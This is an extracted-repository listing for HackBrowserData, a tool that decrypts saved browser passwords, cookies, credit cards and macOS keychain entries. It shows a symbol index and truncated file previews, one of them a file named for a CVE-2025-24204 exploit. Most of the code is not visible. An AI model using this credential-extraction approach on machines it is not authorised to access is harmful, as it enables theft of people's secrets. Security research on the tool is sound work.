constant keyBlobRecordHeaderSize (line 25) | keyBlobRecordHeaderSize = 132
constant keyBlobStructSize (line 26) | keyBlobStructSize = 24
constant genericPasswordHeaderSize (line 27) | genericPasswordHeaderSize = 22 * 4
constant blockSize (line 28) | blockSize = 8
constant keyLength (line 29) | keyLength = 24
constant metadataOffsetAdjustment (line 30) | metadataOffsetAdjustment = 0x38
constant keyBlobMagic (line 31) | keyBlobMagic uint32 = 0xFADE0711
constant keychainSignature (line 32) | keychainSignature = "kych"
constant secureStorageGroup (line 33) | secureStorageGroup = "ssgp"
constant keychainLockedSignature (line 34) | keychainLockedSignature = "[Invalid Password / Keychain Locked]"
constant cssmDBRecordTypeAppDefinedStart (line 38) | cssmDBRecordTypeAppDefinedStart uint32 = 0x80000000
constant cssmGenericPassword (line 39) | cssmGenericPassword = cssmDBRecordTypeAppDefinedStart...
constant cssmMetadata (line 40) | cssmMetadata = cssmDBRecordTypeAppDefinedStart...
constant cssmDBRecordTypeOpenGroupStart (line 41) | cssmDBRecordTypeOpenGroupStart uint32 = 0x0000000A
constant cssmSymmetricKey (line 42) | cssmSymmetricKey = cssmDBRecordTypeOpenGroupStart + 7
constant dbBlobSize (line 45) | dbBlobSize = 92
type Keychain (line 49) | type Keychain struct
method buildTableIndex (line 264) | func (kc *Keychain) buildTableIndex() error {
method getTableOffset (line 283) | func (kc *Keychain) getTableOffset(tableID uint32) (uint32, error) {
method getTableFromType (line 291) | func (kc *Keychain) getTableFromType(tableID uint32) (tableHeader, []u...
method getTable (line 299) | func (kc *Keychain) getTable(offset uint32) (tableHeader, []uint32, er...
method findWrappingKey (line 329) | func (kc *Keychain) findWrappingKey(master []byte) ([]byte, error) {
method generateKeyList (line 345) | func (kc *Keychain) generateKeyList() error {
method getKeyblobRecord (line 367) | func (kc *Keychain) getKeyblobRecord(recordOffset uint32) ([]byte, []b...
method getBaseAddress (line 428) | func (kc *Keychain) getBaseAddress(tableID uint32, offset uint32) (int...
method DumpGenericPasswords (line 505) | func (kc *Keychain) DumpGenericPasswords() ([]genericPassword, error) {
method parseGenericPasswordRecord (line 521) | func (kc *Keychain) parseGenericPasswordRecord(recordOffset uint32) (g...
method extractSSGP (line 584) | func (kc *Keychain) extractSSGP(header genericPasswordHeader, buffer [...
method readKeychainTime (line 629) | func (kc *Keychain) readKeychainTime(base int, ptr uint32) string {
method readFourChar (line 648) | func (kc *Keychain) readFourChar(base int, ptr uint32) string {
method readLV (line 659) | func (kc *Keychain) readLV(base int, ptr uint32) string {
type applDBHeader (line 60) | type applDBHeader struct
type applDBSchema (line 68) | type applDBSchema struct
type tableHeader (line 73) | type tableHeader struct
type dbBlob (line 83) | type dbBlob struct
type keyBlobRecordHeader (line 90) | type keyBlobRecordHeader struct
type keyBlob (line 94) | type keyBlob struct
type genericPasswordHeader (line 101) | type genericPasswordHeader struct
type ssgpBlock (line 116) | type ssgpBlock struct
type genericPassword (line 123) | type genericPassword struct
function New (line 137) | func New(path, unlockHex string) (*Keychain, error) {
function parseHeader (line 203) | func parseHeader(buf []byte) (applDBHeader, error) {
function parseSchema (line 216) | func parseSchema(buf []byte, offset uint32) (applDBSchema, []uint32, err...
function parseDBBlob (line 237) | func parseDBBlob(buf []byte) (dbBlob, error) {
function decodeUnlockKey (line 251) | func decodeUnlockKey(hexKey string) ([]byte, error) {
function parseKeyBlob (line 416) | func parseKeyBlob(buf []byte) (keyBlob, error) {
function keyblobDecryption (line 447) | func keyblobDecryption(encryptedblob, iv, dbkey []byte) ([]byte, error) {
function kcdecrypt (line 476) | func kcdecrypt(key, iv, data []byte) ([]byte, error) {
function parseGenericPasswordHeader (line 558) | func parseGenericPasswordHeader(buf []byte) (genericPasswordHeader, erro...
function parseSSGP (line 602) | func parseSSGP(buf []byte) (*ssgpBlock, error) {
function decryptSSGP (line 615) | func decryptSSGP(block *ssgpBlock, dbkey []byte) (string, bool) {
function maskedPointer (line 679) | func maskedPointer(value uint32) int {
function alignToWord (line 683) | func alignToWord(value int) int {
function readASCII (line 690) | func readASCII(buf []byte, start, length int) string {
FILE: utils/chainbreaker/chainbreaker_test.go
function TestUnlockKeychain (line 7) | func TestUnlockKeychain(t *testing.T) {
FILE: utils/fileutil/filetutil.go
function IsFileExists (line 15) | func IsFileExists(filename string) bool {
function IsDirExists (line 27) | func IsDirExists(folder string) bool {
function ReadFile (line 39) | func ReadFile(filename string) (string, error) {
function CopyDir (line 46) | func CopyDir(src, dst, skip string) error {
function CopyFile (line 54) | func CopyFile(src, dst string) error {
function Filename (line 67) | func Filename(browser, dataType, ext string) string {
function BrowserName (line 72) | func BrowserName(browser, user string) string {
function ParentDir (line 78) | func ParentDir(p string) string {
function BaseDir (line 83) | func BaseDir(p string) string {
function ParentBaseDir (line 88) | func ParentBaseDir(p string) string {
function CompressDir (line 93) | func CompressDir(dir string) error {
function addFileToZip (line 123) | func addFileToZip(zw *zip.Writer, filename string) error {
function writeFile (line 145) | func writeFile(buffer *bytes.Buffer, filename string) error {
FILE: utils/fileutil/fileutil_test.go
function setupTestDir (line 12) | func setupTestDir(t *testing.T, files []string) string {
function TestCompressDir (line 26) | func TestCompressDir(t *testing.T) {
FILE: utils/typeutil/typeutil.go
function Keys (line 8) | func Keys[K comparable, V any](m map[K]V) []K {
type Signed (line 19) | type Signed interface
function IntToBool (line 23) | func IntToBool[T Signed](a T) bool {
function Reverse (line 31) | func Reverse[T any](s []T) []T {
function TimeStamp (line 39) | func TimeStamp(stamp int64) time.Time {
function TimeEpoch (line 47) | func TimeEpoch(epoch int64) time.Time {
FILE: utils/typeutil/typeutil_test.go
function TestReverse (line 7) | func TestReverse(t *testing.T) {
Condensed preview — 73 files, each showing path, character count, and a content snippet. Download the .json file or copy for the full structured content (249K chars).
[
{
"path": ".github/ISSUE_TEMPLATE/bug_report.md",
"chars": 1105,
"preview": "---\nname: Bug report\nabout: Create a report to help us improve\ntitle: ''\nlabels: bug\nassignees: ''\n\n---\n\n## Describe the"
},
{
"path": ".github/ISSUE_TEMPLATE/feature_request.md",
"chars": 608,
"preview": "---\nname: Feature Request\nabout: Suggest an idea for this project\ntitle: ''\nlabels: enhancement\nassignees: ''\n\n---\n\n## F"
},
{
"path": ".github/PULL_REQUEST_TEMPLATE.md",
"chars": 812,
"preview": "## Proposed changes\n\n<!-- Describe the overall picture of your modifications to help maintainers understand the pull req"
},
{
"path": ".github/dependabot.yml",
"chars": 404,
"preview": "version: 2\nupdates:\n - package-ecosystem: \"gomod\"\n directory: \"/\"\n schedule:\n interval: \"weekly\"\n open-pu"
},
{
"path": ".github/release-drafter.yml",
"chars": 575,
"preview": "name-template: 'hack-browser-data-$RESOLVED_VERSION'\ntag-template: 'v$RESOLVED_VERSION'\ncategories:\n - title: '🚀 Featur"
},
{
"path": ".github/workflows/build.yml",
"chars": 1109,
"preview": "name: Build\n\non:\n push:\n branches:\n - main\n pull_request:\n workflow_dispatch:\n\njobs:\n build:\n name: Build"
},
{
"path": ".github/workflows/contributors.yml",
"chars": 433,
"preview": "name: Contributors\non:\n schedule:\n - cron: '0 1 * * 0' # At 01:00 on Sunday.\n push:\n branches:\n - main\n wo"
},
{
"path": ".github/workflows/lint.yml",
"chars": 682,
"preview": "name: Lint\non:\n push:\n branches:\n - main\n pull_request:\n workflow_dispatch:\njobs:\n lint:\n name: Lint\n "
},
{
"path": ".github/workflows/release.yml",
"chars": 781,
"preview": "name: Release\n\non:\n workflow_dispatch:\n\npermissions:\n contents: write\n pull-requests: write\n\njobs:\n goreleaser:\n "
},
{
"path": ".github/workflows/test.yml",
"chars": 1157,
"preview": "name: Tests\n\non:\n pull_request:\n push:\n branches:\n - main\n - dev\n workflow_dispatch:\n\njobs:\n test:\n "
},
{
"path": ".gitignore",
"chars": 2778,
"preview": "# General\n.DS_Store\n.AppleDouble\n.LSOverride\n\n# Icon must end with two \\r\nIcon\n\n# Thumbnails\n._*\n\n# Files that might app"
},
{
"path": ".golangci.yml",
"chars": 7464,
"preview": "# golangci-lint configuration\n# Compatible with golangci-lint v2.4+ and Go 1.20\n# This is a best practice starter config"
},
{
"path": ".goreleaser.yml",
"chars": 1289,
"preview": "version: 2\n\nbefore:\n hooks:\n - go mod tidy\n\nbuilds:\n - id: \"hack-browser-data\"\n main: ./cmd/hack-browser-data/ma"
},
{
"path": ".typos.toml",
"chars": 245,
"preview": "# See https://github.com/crate-ci/typos/blob/master/docs/reference.md to configure typos\n[default.extend-words]\nReaded ="
},
{
"path": "CLAUDE.md",
"chars": 9683,
"preview": "# CLAUDE.md\n\nThis file provides guidance to Claude Code (claude.ai/code) when working with code in this repository.\n\n## "
},
{
"path": "CODE_OF_CONDUCT.md",
"chars": 5202,
"preview": "# Contributor Covenant Code of Conduct\n\n## Our Pledge\n\nWe as members, contributors, and leaders pledge to make participa"
},
{
"path": "CONTRIBUTING.md",
"chars": 1330,
"preview": "# Contributing to HackBrowserData\n\nWe appreciate your interest in contributing to the HackBrowserData! This document pro"
},
{
"path": "LICENSE",
"chars": 1065,
"preview": "MIT License\n\nCopyright (c) 2020 ᴍᴏᴏɴᴅᴀʀᴋ\n\nPermission is hereby granted, free of charge, to any person obtaining a copy\no"
},
{
"path": "README.md",
"chars": 10529,
"preview": "<div align=\"center\">\n<img src=\"LOGO.png\" alt=\"hack-browser-data logo\" width=\"440px\" />\n</div> \n\n# HackBrowserData\n\n[![Li"
},
{
"path": "browser/browser.go",
"chars": 3188,
"preview": "package browser\n\nimport (\n\t\"path/filepath\"\n\t\"sort\"\n\t\"strings\"\n\n\t\"github.com/moond4rk/hackbrowserdata/browser/chromium\"\n\t"
},
{
"path": "browser/browser_darwin.go",
"chars": 3732,
"preview": "//go:build darwin\n\npackage browser\n\nimport (\n\t\"github.com/moond4rk/hackbrowserdata/types\"\n)\n\nvar (\n\tchromiumList = map[s"
},
{
"path": "browser/browser_linux.go",
"chars": 2535,
"preview": "//go:build linux\n\npackage browser\n\nimport (\n\t\"github.com/moond4rk/hackbrowserdata/types\"\n)\n\nvar (\n\tchromiumList = map[st"
},
{
"path": "browser/browser_windows.go",
"chars": 3593,
"preview": "//go:build windows\n\npackage browser\n\nimport (\n\t\"github.com/moond4rk/hackbrowserdata/types\"\n)\n\nvar (\n\tchromiumList = map["
},
{
"path": "browser/chromium/chromium.go",
"chars": 4916,
"preview": "package chromium\n\nimport (\n\t\"io/fs\"\n\t\"os\"\n\t\"path/filepath\"\n\t\"strings\"\n\n\t\"github.com/moond4rk/hackbrowserdata/browserdata"
},
{
"path": "browser/chromium/chromium_darwin.go",
"chars": 2179,
"preview": "//go:build darwin\n\npackage chromium\n\nimport (\n\t\"bytes\"\n\t\"crypto/sha1\"\n\t\"errors\"\n\t\"fmt\"\n\t\"os\"\n\t\"os/exec\"\n\t\"strings\"\n\n\t\"gi"
},
{
"path": "browser/chromium/chromium_linux.go",
"chars": 1836,
"preview": "//go:build linux\n\npackage chromium\n\nimport (\n\t\"crypto/sha1\"\n\t\"fmt\"\n\t\"os\"\n\n\t\"github.com/godbus/dbus/v5\"\n\tkeyring \"github."
},
{
"path": "browser/chromium/chromium_windows.go",
"chars": 1044,
"preview": "//go:build windows\n\npackage chromium\n\nimport (\n\t\"encoding/base64\"\n\t\"errors\"\n\t\"os\"\n\n\t\"github.com/tidwall/gjson\"\n\n\t\"github"
},
{
"path": "browser/consts.go",
"chars": 553,
"preview": "package browser\n\nimport (\n\t\"os\"\n)\n\n// home dir path for all platforms\nvar homeDir, _ = os.UserHomeDir()\n\nconst (\n\tchrome"
},
{
"path": "browser/exploit/gcoredump/gcoredump.go",
"chars": 5755,
"preview": "//go:build darwin\n\npackage gcoredump\n\n// CVE-2025-24204\n// Logic ported from https://github.com/FFRI/CVE-2025-24204/tree"
},
{
"path": "browser/firefox/firefox.go",
"chars": 8087,
"preview": "package firefox\n\nimport (\n\t\"bytes\"\n\t\"database/sql\"\n\t\"encoding/base64\"\n\t\"errors\"\n\t\"fmt\"\n\t\"io/fs\"\n\t\"os\"\n\t\"path/filepath\"\n\n"
},
{
"path": "browser/firefox/firefox_test.go",
"chars": 1056,
"preview": "package firefox\n\nimport (\n\t\"testing\"\n\n\t\"github.com/DATA-DOG/go-sqlmock\"\n\t\"github.com/stretchr/testify/assert\"\n)\n\nfunc Te"
},
{
"path": "browserdata/bookmark/bookmark.go",
"chars": 3670,
"preview": "package bookmark\n\nimport (\n\t\"database/sql\"\n\t\"os\"\n\t\"sort\"\n\t\"time\"\n\n\t\"github.com/tidwall/gjson\"\n\t_ \"modernc.org/sqlite\" //"
},
{
"path": "browserdata/browserdata.go",
"chars": 1727,
"preview": "package browserdata\n\nimport (\n\t\"github.com/moond4rk/hackbrowserdata/extractor\"\n\t\"github.com/moond4rk/hackbrowserdata/log"
},
{
"path": "browserdata/cookie/cookie.go",
"chars": 4293,
"preview": "package cookie\n\nimport (\n\t\"database/sql\"\n\t\"os\"\n\t\"sort\"\n\t\"time\"\n\n\t// import sqlite3 driver\n\t_ \"modernc.org/sqlite\"\n\n\t\"git"
},
{
"path": "browserdata/creditcard/creditcard.go",
"chars": 3603,
"preview": "package creditcard\n\nimport (\n\t\"database/sql\"\n\t\"os\"\n\n\t// import sqlite3 driver\n\t_ \"modernc.org/sqlite\"\n\n\t\"github.com/moon"
},
{
"path": "browserdata/download/download.go",
"chars": 3587,
"preview": "package download\n\nimport (\n\t\"database/sql\"\n\t\"os\"\n\t\"sort\"\n\t\"strings\"\n\t\"time\"\n\n\t\"github.com/tidwall/gjson\"\n\t_ \"modernc.org"
},
{
"path": "browserdata/extension/extension.go",
"chars": 4915,
"preview": "package extension\n\nimport (\n\t\"fmt\"\n\t\"os\"\n\t\"strings\"\n\n\t\"github.com/tidwall/gjson\"\n\t\"golang.org/x/text/language\"\n\n\t\"github"
},
{
"path": "browserdata/history/history.go",
"chars": 3013,
"preview": "package history\n\nimport (\n\t\"database/sql\"\n\t\"os\"\n\t\"sort\"\n\t\"time\"\n\n\t// import sqlite3 driver\n\t_ \"modernc.org/sqlite\"\n\n\t\"gi"
},
{
"path": "browserdata/imports.go",
"chars": 1069,
"preview": "// Package browserdata is responsible for initializing all the necessary\n// components that handle different types of br"
},
{
"path": "browserdata/localstorage/localstorage.go",
"chars": 4045,
"preview": "package localstorage\n\nimport (\n\t\"bytes\"\n\t\"database/sql\"\n\t\"fmt\"\n\t\"os\"\n\t\"strings\"\n\n\t\"github.com/syndtr/goleveldb/leveldb\"\n"
},
{
"path": "browserdata/localstorage/localstorage_test.go",
"chars": 2721,
"preview": "package localstorage\n\nimport (\n\t\"testing\"\n\n\t\"github.com/stretchr/testify/assert\"\n\t\"golang.org/x/text/encoding/unicode\"\n)"
},
{
"path": "browserdata/outputter.go",
"chars": 1546,
"preview": "package browserdata\n\nimport (\n\t\"encoding/csv\"\n\t\"encoding/json\"\n\t\"errors\"\n\t\"io\"\n\t\"os\"\n\t\"path/filepath\"\n\n\t\"github.com/goca"
},
{
"path": "browserdata/outputter_test.go",
"chars": 424,
"preview": "package browserdata\n\nimport (\n\t\"os\"\n\t\"testing\"\n)\n\nfunc TestNewOutPutter(t *testing.T) {\n\tt.Parallel()\n\tout := newOutPutt"
},
{
"path": "browserdata/password/password.go",
"chars": 5895,
"preview": "package password\n\nimport (\n\t\"database/sql\"\n\t\"encoding/base64\"\n\t\"os\"\n\t\"sort\"\n\t\"time\"\n\n\t\"github.com/tidwall/gjson\"\n\t_ \"mod"
},
{
"path": "browserdata/sessionstorage/sessionstorage.go",
"chars": 4266,
"preview": "package sessionstorage\n\nimport (\n\t\"bytes\"\n\t\"database/sql\"\n\t\"fmt\"\n\t\"os\"\n\t\"strings\"\n\n\t\"github.com/syndtr/goleveldb/leveldb"
},
{
"path": "cmd/hack-browser-data/main.go",
"chars": 2566,
"preview": "package main\n\nimport (\n\t\"os\"\n\n\t\"github.com/urfave/cli/v2\"\n\n\t\"github.com/moond4rk/hackbrowserdata/browser\"\n\t\"github.com/m"
},
{
"path": "crypto/asn1pbe.go",
"chars": 5524,
"preview": "package crypto\n\nimport (\n\t\"crypto/hmac\"\n\t\"crypto/sha1\"\n\t\"crypto/sha256\"\n\t\"encoding/asn1\"\n\t\"errors\"\n)\n\ntype ASN1PBE inter"
},
{
"path": "crypto/asn1pbe_test.go",
"chars": 8685,
"preview": "package crypto\n\nimport (\n\t\"bytes\"\n\t\"encoding/asn1\"\n\t\"encoding/hex\"\n\t\"testing\"\n\n\t\"github.com/stretchr/testify/assert\"\n)\n\n"
},
{
"path": "crypto/crypto.go",
"chars": 4648,
"preview": "package crypto\n\nimport (\n\t\"bytes\"\n\t\"crypto/aes\"\n\t\"crypto/cipher\"\n\t\"crypto/des\"\n\t\"errors\"\n\t\"fmt\"\n)\n\nvar ErrCiphertextLeng"
},
{
"path": "crypto/crypto_darwin.go",
"chars": 478,
"preview": "//go:build darwin\n\npackage crypto\n\nimport \"errors\"\n\nvar ErrDarwinNotSupportDPAPI = errors.New(\"darwin not support dpapi\""
},
{
"path": "crypto/crypto_linux.go",
"chars": 376,
"preview": "//go:build linux\n\npackage crypto\n\nfunc DecryptWithChromium(key, encryptPass []byte) ([]byte, error) {\n\tif len(encryptPas"
},
{
"path": "crypto/crypto_test.go",
"chars": 2148,
"preview": "package crypto\n\nimport (\n\t\"bytes\"\n\t\"crypto/sha1\"\n\t\"encoding/hex\"\n\t\"fmt\"\n\t\"testing\"\n\n\t\"github.com/stretchr/testify/assert"
},
{
"path": "crypto/crypto_windows.go",
"chars": 2282,
"preview": "//go:build windows\n\npackage crypto\n\nimport (\n\t\"fmt\"\n\t\"syscall\"\n\t\"unsafe\"\n)\n\nconst (\n\t// Assuming the nonce size is 12 by"
},
{
"path": "crypto/pbkdf2.go",
"chars": 1686,
"preview": "package crypto\n\nimport (\n\t\"crypto/hmac\"\n\t\"hash\"\n)\n\n// PBKDF2Key derives a key from the password, salt and iteration coun"
},
{
"path": "extractor/extractor.go",
"chars": 182,
"preview": "package extractor\n\n// Extractor is an interface for extracting data from browser data files\ntype Extractor interface {\n\t"
},
{
"path": "extractor/registration.go",
"chars": 534,
"preview": "package extractor\n\nimport (\n\t\"github.com/moond4rk/hackbrowserdata/types\"\n)\n\nvar extractorRegistry = make(map[types.DataT"
},
{
"path": "go.mod",
"chars": 1630,
"preview": "module github.com/moond4rk/hackbrowserdata\n\ngo 1.20\n\nrequire (\n\tgithub.com/DATA-DOG/go-sqlmock v1.5.2\n\tgithub.com/gocari"
},
{
"path": "go.sum",
"chars": 9066,
"preview": "github.com/DATA-DOG/go-sqlmock v1.5.2 h1:OcvFkGmslmlZibjAjaHm3L//6LiuBgolP7OputlJIzU=\ngithub.com/DATA-DOG/go-sqlmock v1."
},
{
"path": "log/level/level.go",
"chars": 800,
"preview": "package level\n\n// Level defines all the available levels we can log at\ntype Level int32\n\nconst (\n\t// DebugLevel is the l"
},
{
"path": "log/log.go",
"chars": 824,
"preview": "package log\n\nimport (\n\t\"github.com/moond4rk/hackbrowserdata/log/level\"\n)\n\nvar (\n\t// defaultLogger is the default logger "
},
{
"path": "log/logger.go",
"chars": 4071,
"preview": "package log\n\nimport (\n\t\"fmt\"\n\t\"io\"\n\tstdlog \"log\"\n\t\"os\"\n\t\"runtime\"\n\t\"strings\"\n\t\"sync/atomic\"\n\n\t\"github.com/moond4rk/hackb"
},
{
"path": "log/logger_test.go",
"chars": 6638,
"preview": "package log\n\nimport (\n\t\"bytes\"\n\t\"fmt\"\n\t\"testing\"\n\n\t\"github.com/stretchr/testify/assert\"\n\n\tlevel2 \"github.com/moond4rk/ha"
},
{
"path": "rfc/001-architecture-refactoring.md",
"chars": 8353,
"preview": "# RFC-001: HackBrowserData Architecture Refactoring\n\n**Author**: moonD4rk \n**Status**: Proposed \n**Created**: 2025-09-"
},
{
"path": "types/types.go",
"chars": 5806,
"preview": "package types\n\nimport (\n\t\"fmt\"\n\t\"os\"\n\t\"path/filepath\"\n)\n\ntype DataType int\n\nconst (\n\tChromiumKey DataType = iota\n\tChromi"
},
{
"path": "types/types_test.go",
"chars": 3422,
"preview": "package types\n\nimport (\n\t\"fmt\"\n\t\"os\"\n\t\"strconv\"\n\t\"testing\"\n\n\t\"github.com/stretchr/testify/assert\"\n)\n\nfunc TestDataType_F"
},
{
"path": "utils/byteutil/byteutil.go",
"chars": 116,
"preview": "package byteutil\n\nvar OnSplitUTF8Func = func(r rune) rune {\n\tif r == 0x00 || r == 0x01 {\n\t\treturn -1\n\t}\n\treturn r\n}\n"
},
{
"path": "utils/chainbreaker/chainbreaker.go",
"chars": 18874,
"preview": "package chainbreaker\n\n// Logic ported from https://github.com/n0fate/chainbreaker\n\nimport (\n\t\"bytes\"\n\t\"crypto/cipher\"\n\t\""
},
{
"path": "utils/chainbreaker/chainbreaker_test.go",
"chars": 800,
"preview": "package chainbreaker\n\nimport (\n\t\"testing\"\n)\n\nfunc TestUnlockKeychain(t *testing.T) {\n\tkeychain, err := New(\"./testdata/t"
},
{
"path": "utils/fileutil/filetutil.go",
"chars": 4004,
"preview": "package fileutil\n\nimport (\n\t\"archive/zip\"\n\t\"bytes\"\n\t\"fmt\"\n\t\"os\"\n\t\"path/filepath\"\n\t\"strings\"\n\n\tcp \"github.com/otiai10/cop"
},
{
"path": "utils/fileutil/fileutil_test.go",
"chars": 1548,
"preview": "package fileutil\n\nimport (\n\t\"os\"\n\t\"path/filepath\"\n\t\"testing\"\n\n\t\"github.com/stretchr/testify/assert\"\n\t\"github.com/stretch"
},
{
"path": "utils/typeutil/typeutil.go",
"chars": 1189,
"preview": "package typeutil\n\nimport (\n\t\"time\"\n)\n\n// Keys returns a slice of the keys of the map. based with go 1.18 generics\nfunc K"
},
{
"path": "utils/typeutil/typeutil_test.go",
"chars": 379,
"preview": "package typeutil\n\nimport (\n\t\"testing\"\n)\n\nfunc TestReverse(t *testing.T) {\n\tt.Parallel()\n\n\treverseTestCases := [][]any{\n\t"
}
]
// ... and 1 more files (download for full content)
About this extraction
This page contains the full source code of the moonD4rk/HackBrowserData GitHub repository, extracted and formatted as plain text for AI agents and large language models (LLMs). The extraction includes 73 files (221.8 KB), approximately 68.3k tokens, and a symbol index with 467 extracted functions, classes, methods, constants, and types. Use this with OpenClaw, Claude, ChatGPT, Cursor, Windsurf, or any other AI tool that accepts text input. You can copy the full output to your clipboard or download it as a .txt file.
Extracted by GitExtract — free GitHub repo to text converter for AI. Built by Nikandr Surkov.